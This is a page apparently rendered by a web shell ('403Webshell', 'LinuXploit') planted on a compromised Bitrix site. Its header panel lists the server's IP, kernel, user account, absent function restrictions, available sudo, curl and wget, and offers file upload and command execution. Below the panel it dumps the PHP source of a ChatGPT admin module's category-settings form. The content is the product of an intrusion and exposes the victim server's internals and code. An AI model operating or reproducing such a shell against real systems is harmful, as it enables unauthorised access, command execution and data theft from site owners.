403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/abricos.chatgpt/load/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/abricos.chatgpt/load/edit_category.php
<?
//<title>chatgpt</title>
/** @global CDatabase $DB */
/** @global CUser $USER */
/** @global CMain $APPLICATION */
/** @global string $ACTION */
/** @global array $arOldSetupVars */
/** @global int $IBLOCK_ID */
/** @global string $SETUP_FILE_NAME */
/** @global string $SETUP_SERVER_NAME */
/** @global mixed $V */
/** @global mixed $XML_DATA */
/** @global string $SETUP_PROFILE_NAME */

use Bitrix\Main,
	Bitrix\Iblock;
CModule::IncludeModule("abricos.chatgpt");
include_once('lib.php');
IncludeModuleLangFile(__FILE__);

global $APPLICATION, $USER;

$arSetupErrors = array();
if($_GET['PROFILE_ID'])
{
	global $DB;
	$strSql ="SELECT * FROM `abricos_chatgpt_profile` WHERE `id`=".$DB->ForSql($_GET['PROFILE_ID']).";";
	$res = $DB->Query($strSql, false, $err_mess.__LINE__);
	$arOldSetupVars=array();
	while ($row = $res->Fetch())
		{
			$SETUP_PROFILE_NAME=$row['name_prof'];
			$statusKey=$row['period'];
			$arOldSet=explode('&',$row['SETUP_VARS']);
            $arOldSetupVars['V']=array();
			$arOldSetupVars['CHATGPT_PROP']=array();
			foreach($arOldSet as $valSet)
			{
				$arOl=explode('=',$valSet);
				
				if($posAr=strpos($arOl[0],'['))
				{
					$nameAr=substr($valSet,0,($posAr));
					$arOldSetupVars[$nameAr][]=$arOl[1];
	            }
				else
					$arOldSetupVars[$arOl[0]]=$arOl[1];
			}
		}
}
$strAllowExportPath ="/";

if ($_GET['PROFILE_ID'])
{
	if (isset($arOldSetupVars['IBLOCK_ID']))
		$IBLOCK_ID = $arOldSetupVars['IBLOCK_ID'];
	if (isset($arOldSetupVars['SITE_ID']))
		$SITE_ID = $arOldSetupVars['SITE_ID'];
	if (isset($arOldSetupVars['SETUP_FILE_NAME']))
		$SETUP_FILE_NAME = str_replace($strAllowExportPath,'',$arOldSetupVars['SETUP_FILE_NAME']);

	if (isset($arOldSetupVars['SETUP_PROFILE_NAME']))
		$SETUP_PROFILE_NAME = $arOldSetupVars['SETUP_PROFILE_NAME'];
	if (isset($arOldSetupVars['V']))
		$V = $arOldSetupVars['V'];	
	
	if (isset($arOldSetupVars['CHATGPT_PERIOD']))
		$CHATGPT_PERIOD = $arOldSetupVars['CHATGPT_PERIOD'];
	if (isset($arOldSetupVars['CHATGPT_DESCR']))
		$CHATGPT_DESCR = $arOldSetupVars['CHATGPT_DESCR'];
	if (isset($arOldSetupVars['CHATGPT_QUESTION']))
		$CHATGPT_QUESTION = $arOldSetupVars['CHATGPT_QUESTION'];

	if (isset($arOldSetupVars['CHATGPT_TEMPLATE_CAT']))
		$CHATGPT_TEMPLATE_CAT = $arOldSetupVars['CHATGPT_TEMPLATE_CAT'];
	if (isset($arOldSetupVars['CHATGPT_TEMPLATE_CAT_CUSTOM']))
		$CHATGPT_TEMPLATE_CAT_CUSTOM = $arOldSetupVars['CHATGPT_TEMPLATE_CAT_CUSTOM'];
	if (isset($arOldSetupVars['CHATGPT_ANSWER_TO']))
		$CHATGPT_ANSWER_TO = $arOldSetupVars['CHATGPT_ANSWER_TO'];
	if (isset($arOldSetupVars['CHATGPT_HTML']))
		$CHATGPT_HTML = $arOldSetupVars['CHATGPT_HTML'];

	if (isset($arOldSetupVars['CHATGPT_INIBLOCK']))
		$CHATGPT_INIBLOCK = $arOldSetupVars['CHATGPT_INIBLOCK'];

	if (isset($arOldSetupVars['CHATGPT_KEY']))
		$CHATGPT_KEY = $arOldSetupVars['CHATGPT_KEY'];

	if (isset($arOldSetupVars['MAX_TOKENS']))
		$MAX_TOKENS = $arOldSetupVars['MAX_TOKENS'];
	if (isset($arOldSetupVars['NO_DESCR']))
		$NO_DESCR = $arOldSetupVars['NO_DESCR'];
	
}

if ($STEP > 1){

	$IBLOCK_ID = (int)$IBLOCK_ID;
	$rsIBlocks = CIBlock::GetByID($IBLOCK_ID);
	if ($IBLOCK_ID <= 0 || !($arIBlock = $rsIBlocks->Fetch()))
	{
		$arSetupErrors[] = GetMessage("CET_ERROR_NO_IBLOCK1")." #".$IBLOCK_ID." ".GetMessage("CET_ERROR_NO_IBLOCK2");
	}
	else
	{
		$bRightBlock = !CIBlockRights::UserHasRightTo($IBLOCK_ID, $IBLOCK_ID, "iblock_admin_display");
		if ($bRightBlock)
		{
			$arSetupErrors[] = str_replace('#IBLOCK_ID#',$IBLOCK_ID,GetMessage("CET_ERROR_IBLOCK_PERM"));
		}
	}

	$SITE_ID = trim($SITE_ID);
	if ($SITE_ID === '')
	{
		$arSetupErrors[] = GetMessage('BX_CATALOG_EXPORT_YANDEX_ERR_EMPTY_SITE');
	}
	else
	{
		$iterator = Main\SiteTable::getList(array(
			'select' => array('LID'),
			'filter' => array('=LID' => $SITE_ID, '=ACTIVE' => 'Y')
		));
		$site = $iterator->fetch();
		if (empty($site))
		{
			$arSetupErrors[] = GetMessage('BX_CATALOG_EXPORT_YANDEX_ERR_BAD_SITE');
		}
	}

	if (!isset($SETUP_FILE_NAME) || $SETUP_FILE_NAME == '')
	{
		$arSetupErrors[] = GetMessage("CET_ERROR_NO_FILENAME");
	}

	elseif ($APPLICATION->GetFileAccessPermission($strAllowExportPath.$SETUP_FILE_NAME) < "W")
	{
		$arSetupErrors[] = str_replace("#FILE#", $strAllowExportPath.$SETUP_FILE_NAME, GetMessage('CET_YAND_RUN_ERR_SETUP_FILE_ACCESS_DENIED'));
	}

	$SETUP_SERVER_NAME = (isset($SETUP_SERVER_NAME) ? trim($SETUP_SERVER_NAME) : '');
	$COMPANY_NAME = (isset($COMPANY_NAME) ? trim($COMPANY_NAME) : '');

	if (empty($arSetupErrors))
	{
		$bAllSections = false;
		$arSections = array();
		if (!empty($V) && is_array($V))
		{
			foreach ($V as $key => $value)
			{
				if (trim($value) == "0")
				{
					$bAllSections = true;
					break;
				}
				$value = (int)$value;
				if ($value > 0)
					$arSections[] = $value;
			}
		}

		if (!$bAllSections && !empty($arSections))
		{
			$arCheckSections = array();
			$rsSections = CIBlockSection::GetList(array(), array('IBLOCK_ID' => $IBLOCK_ID, 'ID' => $arSections), false, array('ID'));
			while ($arOneSection = $rsSections->Fetch())
			{
				$arCheckSections[] = $arOneSection['ID'];
			}
			$arSections = $arCheckSections;
		}

		if (!$bAllSections && empty($arSections))
		{
			$arSetupErrors[] = GetMessage("CET_ERROR_NO_GROUPS");
			$V = array();
		}
	}

	if (is_array($V))
	{
		$V = array_unique(array_values($V),SORT_NUMERIC);
		$_REQUEST['V'] = $V;
	}
	if (is_array($CHATGPT_PROP))
	{
		$CHATGPT_PROP = array_unique(array_values($CHATGPT_PROP));
		$_REQUEST['CHATGPT_PROP'] = $CHATGPT_PROP;
	}
	//$arCatalog = CCatalogSku::GetInfoByIBlock($IBLOCK_ID);

	if (!isset($USE_HTTPS) || $USE_HTTPS != 'Y')
		$USE_HTTPS = 'N';
	if (isset($_POST['MAX_EXECUTION_TIME']) && is_string($_POST['MAX_EXECUTION_TIME']))
		$maxExecutionTime = $_POST['MAX_EXECUTION_TIME'];


	$maxExecutionTime = (!isset($maxExecutionTime) ? 0 : (int)$maxExecutionTime);
	if ($maxExecutionTime < 0)
		$maxExecutionTime = 0;

	if ($ACTION=="EXPORT_SETUP" || $ACTION=="EXPORT_EDIT" || $ACTION=="EXPORT_COPY")
	{
		if (!isset($SETUP_PROFILE_NAME) || $SETUP_PROFILE_NAME == '')
			$arSetupErrors[] = GetMessage("CET_ERROR_NO_PROFILE_NAME");
	}

	if (!empty($arSetupErrors))
	{
		$STEP = 1;
	}
}


if (!empty($arSetupErrors))
	ShowError(implode('<br>', $arSetupErrors));

$actionParams = "?ACTION=SAVE";

?>
<style>
.notif{
	padding-left: 10px;
    font-size: 11px;
    color: #4a4a4a;
}
.buttonSet{
	cursor: pointer;
    float: left;
    border: 1px dashed #5e99c3;
    margin: 5px;
    padding: 10px;
    background-color: #a9cafb;
}
.show{display:table-row!important}
.none{display:none!important}
.active{background-color: #5cf341;}

</style>

<?
CJSCore::Init(array("jquery"));
 ?>

<form method="post" action="<?echo $APPLICATION->GetCurPage().$actionParams ?>" name="chatgpt_setup_form" id="chatgpt_setup_form" >
<?
$aTabs = array(
	array("DIV" => "yand_edit1", "TAB" => GetMessage("CAT_ABRICOS_CHATGPT_TAB1"), "ICON" => "store", "TITLE" => GetMessage("CAT_ABRICOS_CHATGPT_TAB1")),

);

$tabControl = new CAdminTabControl("tabChatgpt", $aTabs, false, true);
$tabControl->Begin();

$tabControl->BeginNextTab();

if ($STEP == 1)
{
	if (!isset($SITE_ID))
		$SITE_ID = '';
	if (!isset($XML_DATA))
		$XML_DATA = '';
	$siteList = array();
	$iterator = Main\SiteTable::getList(array(
		'select' => array('LID', 'NAME', 'SORT'),
		'filter' => array('=ACTIVE' => 'Y'),
		'order' => array('SORT' => 'ASC')
	));
	while ($row = $iterator->fetch())
		$siteList[$row['LID']] = $row['NAME'];
	unset($row, $iterator);
	$iblockIds = array();
	$iblockSites = array();
	$iblockMultiSites = array();
	$iterator = Iblock\IblockTable::getList(array());
	while ($row = $iterator->fetch())
	{
		$row['PRODUCT_IBLOCK_ID'] = (int)$row['PRODUCT_IBLOCK_ID'];
		$row['IBLOCK_ID'] = (int)$row['IBLOCK_ID'];
		if ($row['PRODUCT_IBLOCK_ID'] > 0)
		{
			if ($row['PRODUCT_IBLOCK_ACTIVE'] == 'Y')
				$iblockIds[$row['PRODUCT_IBLOCK_ID']] = true;
		}
		else
		{
			if ($row['IBLOCK_ACTIVE'] == 'Y')
				$iblockIds[$row['IBLOCK_ID']] = true;
		}
	}
	unset($row, $iterator);
	if (!empty($iblockIds))
	{
		$activeIds = array();
		$iterator = Iblock\IblockSiteTable::getList(array(
			'select' => array('IBLOCK_ID', 'SITE_ID', 'SITE_SORT' => 'SITE.SORT'),
			'filter' => array('@IBLOCK_ID' => array_keys($iblockIds), '=SITE.ACTIVE' => 'Y'),
			'order' => array('IBLOCK_ID' => 'ASC', 'SITE_SORT' => 'ASC')
		));
		while ($row = $iterator->fetch())
		{
			$id = (int)$row['IBLOCK_ID'];

			if (!isset($iblockSites[$id]))
				$iblockSites[$id] = array(
					'ID' => $id,
					'SITES' => array()
				);
			$iblockSites[$id]['SITES'][] = array(
				'ID' => $row['SITE_ID'],
				'NAME' => $siteList[$row['SITE_ID']]
			);

			if (!isset($iblockMultiSites[$id]))
				$iblockMultiSites[$id] = false;
			else
				$iblockMultiSites[$id] = true;

			$activeIds[$id] = true;
		}
		unset($id, $row, $iterator);
		if (empty($activeIds))
		{
			$iblockIds = array();
			$iblockSites = array();
			$iblockMultiSites = array();
		}
		else
		{
			$iblockIds = array_intersect_key($iblockIds, $activeIds);
		}
		unset($activeIds);
	}
	if (empty($iblockIds))
	{

	}

	$currentList = array();
	if ($IBLOCK_ID > 0 && isset($iblockIds[$IBLOCK_ID]))
	{
		$currentList = $iblockSites[$IBLOCK_ID]['SITES'];
		if ($SITE_ID === '')
		{
			$firstSite = reset($currentList);
			$SITE_ID = $firstSite['ID'];
		}
	}
	  if($IBLOCK_ID>0)
	{
		$dbRes = CIBlockProperty::GetList(
			array('SORT' => 'ASC'),
			array('IBLOCK_ID' => $IBLOCK_ID, 'ACTIVE' => 'Y')
		);
		$arIBlock['PROPERTY'] = array();
		while ($arRes = $dbRes->Fetch())
		{
			$arIBlock['PROPERTY'][$arRes['ID']] = $arRes;
		}
    }

?>
    <?
    if(!CAbricosChatgptLib::CurlInstalled()) {?>
    <tr><td colspan=2><div align="center"><?=GetMessage("CURL")?></div></td></tr>
    <?}?>
    <?
    if($statusKey==10) {?>
    <tr><td colspan=2><div align="center"><b><?=GetMessage("KeyError")?></b></div></td></tr>
    <?}?>
<? if(CModule::IncludeModuleEx("abricos.chatgpt")==2) {?>
<tr><td colspan=2><div align="center"><?=GetMessage("DEMO")?></div></td></tr>
<? }?>
<? if(CModule::IncludeModuleEx("abricos.chatgpt")==3) {?>
<tr><td colspan=2><div align="center"><?=GetMessage("DEMO_OFF")?></div></td></tr>
<? }?>

<tr>
	<td width="40%"><?=GetMessage('BX_CATALOG_EXPORT_IBLOCK'); ?></td>
	<td width="60%"><?
	echo GetIBlockDropDownListEx(
		$IBLOCK_ID, 'IBLOCK_TYPE_ID', 'IBLOCK_ID',
		array(
			'ID' => array_keys($iblockIds),
			'CHECK_PERMISSIONS' => 'Y',
			'MIN_PERMISSION' => 'U'
		),
		"ClearSelected(); changeIblockSites(0); BX('id_ifr').src='/bitrix/tools/abricos.chatgpt/chatgpt_util.php?IBLOCK_ID=0&'+'".bitrix_sessid_get()."';",
		"ClearSelected(); changeIblockSites(this[this.selectedIndex].value); BX('id_ifr').src='/bitrix/tools/abricos.chatgpt/chatgpt_util.php?IBLOCK_ID='+this[this.selectedIndex].value+'&'+'".bitrix_sessid_get()."';",
		'class="adm-detail-iblock-types"',
		'class="adm-detail-iblock-list"'
	);
	?>
		<script type="text/javascript">
		var TreeSelected = [];
		<?
		$intCountSelected = 0;
		if (!empty($V) && is_array($V))
		{
			foreach ($V as $oneKey)
			{
				?>TreeSelected[<? echo $intCountSelected ?>] = <? echo (int)$oneKey; ?>;
				<?
				$intCountSelected++;
			}
		}
		?>
		function ClearSelected()
		{
			BX.showWait();
			TreeSelected = [];
		}
		</script>
	</td>
</tr>
<tr  id="tr_SITE_ID" style="display: <?=(count($currentList) > 1 ? 'table-row' : 'none' ); ?>;">
	<td width="40%"><?=GetMessage('BX_CATALOG_EXPORT_CHATGPT_SITE'); ?></td>
	<td width="60%">
		<script type="text/javascript">
		function changeIblockSites(iblockId)
		{
			var iblockSites = <?=CUtil::PhpToJSObject($iblockSites); ?>,
				iblockMultiSites = <?=CUtil::PhpToJSObject($iblockMultiSites); ?>,
				tableRow = null,
				siteControl = null,
				i,
				currentSiteList;

			tableRow = BX('tr_SITE_ID');
			siteControl = BX('SITE_ID');
			if (!BX.type.isElementNode(tableRow) || !BX.type.isElementNode(siteControl))
				return;

			for (i = siteControl.length-1; i >= 0; i--)
				siteControl.remove(i);
			if (typeof(iblockSites[iblockId]) !== 'undefined')
			{
				currentSiteList = iblockSites[iblockId]['SITES'];
				for (i = 0; i < currentSiteList.length; i++)
				{
					siteControl.appendChild(BX.create(
						'option',
						{
							props: {value: BX.util.htmlspecialchars(currentSiteList[i].ID)},
							html: BX.util.htmlspecialchars('[' + currentSiteList[i].ID + '] ' + currentSiteList[i].NAME)
						}
					));
				}
			}
			if (siteControl.length > 0)
				siteControl.selectedIndex = 0;
			else
				siteControl.selectedIndex = -1;
			BX.style(tableRow, 'display', (siteControl.length > 1 ? 'table-row' : 'none'));


		}
		</script>

		<select id="SITE_ID" name="SITE_ID">
		<?
		foreach ($currentList as $site)
		{
			$selected = ($site['ID'] == $SITE_ID ? ' selected' : '');
			$name = '['.$site['ID'].'] '.$site['NAME'];
			?><option value="<?=htmlspecialcharsbx($site['ID']); ?>"<?=$selected; ?>><?=htmlspecialcharsbx($name); ?></option><?
		}
		unset($name, $selected, $site);
		?>
		</select>
	</td>
</tr>
<tr>
	<td width="40%" valign="top"><?echo GetMessage("CET_SELECT_GROUP");?></td>
	<td width="60%"><?
/* 	if ($intCountSelected)
	{
		foreach ($V as $oneKey)
		{
			$oneKey = (int)$oneKey;
			?><input type="hidden" value="<? echo $oneKey; ?>" name="V[]" id="oldV<? echo $oneKey; ?>"><?
		}
		unset($oneKey);
	} */
	?><div id="tree"></div>
	<script type="text/javascript">
	BX.showWait();
	clevel = 0;

	function delOldV(obj)
	{
		if (!!obj)
		{
			var intSelKey = BX.util.array_search(obj.value, TreeSelected);
			if (obj.checked == false)
			{
				if (-1 < intSelKey)
				{
					TreeSelected = BX.util.deleteFromArray(TreeSelected, intSelKey);
				}

				var objOldVal = BX('oldV'+obj.value);
				if (!!objOldVal)
				{
					objOldVal.parentNode.removeChild(objOldVal);
					objOldVal = null;
				}
			}
			else
			{
				if (-1 == intSelKey)
				{
					TreeSelected[TreeSelected.length] = obj.value;
				}
			}
		}
	}

	function buildNoMenu()
	{
		var buffer;
		buffer = '<?echo GetMessageJS("CET_FIRST_SELECT_IBLOCK");?>';
		BX('tree', true).innerHTML = buffer;
		BX.closeWait();
	}

	function buildMenu()
	{
		var i,
			buffer,
			imgSpace,
			space;

		buffer = '<table border="0" cellspacing="0" cellpadding="0">';
		buffer += '<tr>';
		buffer += '<td colspan="2" valign="top" align="left"><input type="checkbox" name="V[]" value="0" id="v0"'+(BX.util.in_array(0,TreeSelected) ? ' checked' : '')+' onclick="delOldV(this);"><label for="v0"><font class="text"><b><?echo CUtil::JSEscape(GetMessage("CET_ALL_GROUPS"));?></b></font></label></td>';
		buffer += '</tr>';

		for (i in Tree[0])
		{
			if (!Tree[0][i])
			{
				space = '<input type="checkbox" name="V[]" value="'+i+'" id="V'+i+'"'+(BX.util.in_array(i,TreeSelected) ? ' checked' : '')+' onclick="delOldV(this);"><label for="V'+i+'"><span class="text">' + Tree[0][i][0] + '</span></label>';
				imgSpace = '';
			}
			else
			{
				space = '<input type="checkbox" name="V[]" value="'+i+'"'+(BX.util.in_array(i,TreeSelected) ? ' checked' : '')+' onclick="delOldV(this);"><a href="javascript: collapse(' + i + ')"><span class="text"><b>' + Tree[0][i][0] + '</b></span></a>';
				imgSpace = '<img src="/bitrix/images/load/plus.gif" width="13" height="13" id="img_' + i + '" OnClick="collapse(' + i + ')">';
			}

			buffer += '<tr>';
			buffer += '<td width="20" valign="top" align="center">' + imgSpace + '</td>';
			buffer += '<td id="node_' + i + '">' + space + '</td>';
			buffer += '</tr>';
		}

		buffer += '</table>';

		BX('tree', true).innerHTML = buffer;
		BX.adminPanel.modifyFormElements('chatgpt_setup_form');
		BX.closeWait();
	}

	function collapse(node)
	{
		if (!BX('table_' + node))
		{
			var i,
				buffer,
				imgSpace,
				space;

			buffer = '<table border="0" id="table_' + node + '" cellspacing="0" cellpadding="0">';

			for (i in Tree[node])
			{
				if (!Tree[node][i])
				{
					space = '<input type="checkbox" name="V[]" value="'+i+'" id="V'+i+'"'+(BX.util.in_array(i,TreeSelected) ? ' checked' : '')+' onclick="delOldV(this);"><label for="V'+i+'"><font class="text">' + Tree[node][i][0] + '</font></label>';
					imgSpace = '';
				}
				else
				{
					space = '<input type="checkbox" name="V[]" value="'+i+'"'+(BX.util.in_array(i,TreeSelected) ? ' checked' : '')+' onclick="delOldV(this);"><a href="javascript: collapse(' + i + ')"><font class="text"><b>' + Tree[node][i][0] + '</b></font></a>';
					imgSpace = '<img src="/bitrix/images/load/plus.gif" width="13" height="13" id="img_' + i + '" OnClick="collapse(' + i + ')">';
				}

				buffer += '<tr>';
				buffer += '<td width="20" align="center" valign="top">' + imgSpace + '</td>';
				buffer += '<td id="node_' + i + '">' + space + '</td>';
				buffer += '</tr>';
			}

			buffer += '</table>';

			BX('node_' + node).innerHTML += buffer;
			BX('img_' + node).src = '/bitrix/images/load/minus.gif';
		}
		else
		{
			var tbl = BX('table_' + node);
			tbl.parentNode.removeChild(tbl);
			BX('img_' + node).src = '/bitrix/images/load/plus.gif';
		}
		BX.adminPanel.modifyFormElements('chatgpt_setup_form');
	}
	</script>
	<iframe src="/bitrix/tools/abricos.chatgpt/chatgpt_util.php?IBLOCK_ID=<?=intval($IBLOCK_ID)?>&<? echo bitrix_sessid_get(); ?>" id="id_ifr" name="ifr" style="display:none"></iframe>
	</td>
</tr>
<tr >
	<td width="40%"><? echo GetMessage('CHATGPT_DESCR_NO'); ?></td>
	<td width="60%">
		<input type="hidden" name="NO_DESCR" value="N">
		<input type="checkbox" name="NO_DESCR" value="Y"<? echo ($NO_DESCR == 'Y' ? ' checked' : ''); ?>
	</td>
</tr>
<tr>
	<td width="40%"><? echo GetMessage('CHATGPT_HTML'); ?></td>
	<td width="60%">
		<input type="hidden" name="CHATGPT_HTML" value="N">
		<input type="checkbox" name="CHATGPT_HTML" value="Y"<? echo ($CHATGPT_HTML == 'Y' ? ' checked' : ''); ?>
	</td>
</tr>

<tr>
	<td width="40%" class="adm-detail-content-cell-l"><?=GetMessage('CHATGPT_QUESTION'); ?></td>
	<td width="60%" id="questionCatId">
<select name="CHATGPT_QUESTION" id="templCat">
			<option value="name"<? echo($CHATGPT_QUESTION == "name" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_QUESTION_CAT_NAME'); ?></option>
			<option value="descr"<? echo($CHATGPT_QUESTION == "descr" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_QUESTION_CAT_DESCR'); ?></option>
			
	</select>

	</td>
</tr>
<tr>
	<td width="40%" class="adm-detail-content-cell-l"><? echo GetMessage('CHATGPT_TEMPLATE'); ?></td>
	<td width="60%">
		<select name="CHATGPT_TEMPLATE_CAT" id="templcat">
			<option value="category"<? echo($CHATGPT_TEMPLATE_CAT == "descr" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_QUESTION_CAT_DESCR'); ?></option>
			<option value="seo-title"<? echo($CHATGPT_TEMPLATE_CAT == "seo-title" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_TEMPLATE_CAT_TITLE'); ?></option>
			<option value="seo-key"<? echo($CHATGPT_TEMPLATE_CAT == "seo-key" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_TEMPLATE_CAT_KEYWORDS'); ?></option>
			<option value="seo-descr"<? echo($CHATGPT_TEMPLATE_CAT == "seo-descr" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_TEMPLATE_SEO-DESCR'); ?></option>
			<option value="custom"<? echo($CHATGPT_TEMPLATE_CAT == "custom" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_TEMPLATE_CUSTOM'); ?></option>
		</select>
    </td>
</tr>
<script>
$('#templcat').change(function(){
    var selectval= $(this).val(); 
    if( selectval== 'custom' ) {
        $('#customTemplcat').show();
    } else {
        $('#customTemplcat').hide();
    }
});
</script>
<tr id="customTemplcat" <? if($CHATGPT_TEMPLATE_CAT!="custom"){?> style="display:none;"<?}?>>
	<td width="40%" class="adm-detail-content-cell-l"><? echo GetMessage('CHATGPT_TEMPLATE_CUSTOM'); ?></td>
	<td width="60%">
		<textarea  maxlength="500" cols="40" rows="5" name="CHATGPT_TEMPLATE_CAT_CUSTOM" ><?=$CHATGPT_TEMPLATE_CAT_CUSTOM?></textarea><br>
		<?=GetMessage('CHATGPT_TEMPLATE_CAT_CUSTOM_NOTE');?>
    </td>
</tr>

<tr>
	<td width="40%" class="adm-detail-content-cell-l"><?=GetMessage('CHATGPT_ANSWER_TO'); ?></td>
	<td width="60%" id="answerCatId">
	<select name="CHATGPT_ANSWER_TO" id="templ">
	<option value="descr"<? echo($CHATGPT_ANSWER_TO== "descr" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_QUESTION_CAT_DESCR'); ?></option>
			<option value="title"<? echo($CHATGPT_ANSWER_TO== "title" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_TEMPLATE_CAT_TITLE'); ?></option>
			<option value="keywords"<? echo($CHATGPT_ANSWER_TO== "keywords" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_TEMPLATE_CAT_KEYWORDS'); ?></option>
			<option value="description"<? echo($CHATGPT_ANSWER_TO == "description" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_TEMPLATE_CAT_TITLE'); ?></option>
			
	</td>
</tr>

<tr >
	<td width="40%"><?echo GetMessage("MAX_TOKENS");?></td>
	<td width="60%">
		<input type="text" name="MAX_TOKENS" value="<?echo htmlspecialcharsbx($MAX_TOKENS) ?>" size="30">
	</td>
</tr>
<tr >
	<td width="40%"><? echo GetMessage('CHATGPT_INIBLOCK'); ?></td>
	<td width="60%">
		<input type="hidden" name="CHATGPT_INIBLOCK" value="N">
		<input type="checkbox" name="CHATGPT_INIBLOCK" value="Y"<? echo ($CHATGPT_INIBLOCK == 'Y' ? ' checked' : ''); ?>
	</td>
</tr>
<tr>
	<td width="40%" style="padding-top: 0;">&nbsp;</td>
	<td width="60%" style="padding-top: 0;"><small><?=GetMessage("CHATGPT_INIBLOCK_NOTE");?></small></td>
</tr>
<tr class="heading newall">
	<td colspan="2"><?=GetMessage('CHATGPT_ALL'); ?></td>
</tr>
<?
	$maxExecutionTime = (isset($maxExecutionTime) ? (int)$maxExecutionTime : 0);
	$array = explode(PHP_EOL, trim(COption::GetOptionString("abricos.chatgpt", "ABRICOS_CHATGPT_API")));
	if(count($array)>1)
	{
?>
<tr>
	<td width="40%"><? echo GetMessage('CHATGPT_KEY'); ?></td>
	<td width="60%">
		<select name="CHATGPT_KEY">
			<option value="rand"<? echo($CHATGPT_KEY == "rand" ? ' selected' : ''); ?>><?=GetMessage('CHATGPT_KEY_RAND'); ?></option>
			<?
			
			foreach($array as $key=>$value)
			{	?>
			<option value="<?=$key?>"<? echo(($CHATGPT_KEY != "rand" and $CHATGPT_KEY == $key) ? ' selected' : ''); ?>><?=$value; ?></option>
			<?}?>
	</select>
    </td>
</tr>

<?
	}
	else $CHATGPT_KEY=0;
	if ($ACTION=="EXPORT_SETUP" || $ACTION == 'EXPORT_EDIT' || $ACTION == 'EXPORT_COPY' || $ACTION == 'NEW' || $ACTION == 'SAVE' )
	{
?><tr>
	<td width="40%"><?echo GetMessage("CET_PROFILE_NAME");?></td>
	<td width="60%">
		<input type="text" name="SETUP_PROFILE_NAME" value="<?echo htmlspecialcharsbx($SETUP_PROFILE_NAME) ?>" size="30" id="profile_name">
	</td>
</tr><?
	}
}

$tabControl->EndTab();

$tabControl->BeginNextTab();

if ($STEP==2)
{
		
	$FINITE = true;
}
$tabControl->EndTab();

$tabControl->Buttons();

?><? echo bitrix_sessid_post();?><?
if ($ACTION == 'EXPORT_EDIT' || $ACTION == 'EXPORT_COPY')
{
	?><input type="hidden" name="PROFILE_ID" value="<? echo intval($PROFILE_ID); ?>"><?
}

if (2 > $STEP)
{
	?><input type="hidden" name="lang" value="<?echo LANGUAGE_ID ?>">
	<input type="hidden" name="ACT_FILE" value="chatgpt">
	<input type="hidden" name="VAR" value="EDITCAT">
	<input type="hidden" name="ACTION" value="SAVE">
	<input type="hidden" name="STEP" value="<?echo intval($STEP) + 1 ?>">

	<input type="hidden" name="SETUP_FIELDS_LIST" value="V,IBLOCK_ID,SITE_ID,CHATGPT_DESCR,CHATGPT_QUESTION,CHATGPT_TEMPLATE_CAT,CHATGPT_ANSWER_TO,CHATGPT_HTML,CHATGPT_TEMPLATE_CAT_CUSTOM,CHATGPT_INIBLOCK,CHATGPT_KEY,MAX_TOKENS,VAR,NO_DESCR">

	<input type="submit" id="save_button" value="<?echo ($ACTION=="EXPORT")?GetMessage("CET_EXPORT"):GetMessage("CET_SAVE")?>"><?
}

$tabControl->End();
?></form>
<script type="text/javascript">
<?if ($STEP < 2):?>
tabChatgpt.SelectTab("yand_edit1");
tabChatgpt.DisableTab("yand_edit2");
<?elseif ($STEP == 2):?>
tabChatgpt.SelectTab("yand_edit2");
tabChatgpt.DisableTab("yand_edit1");
<?endif;?>
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit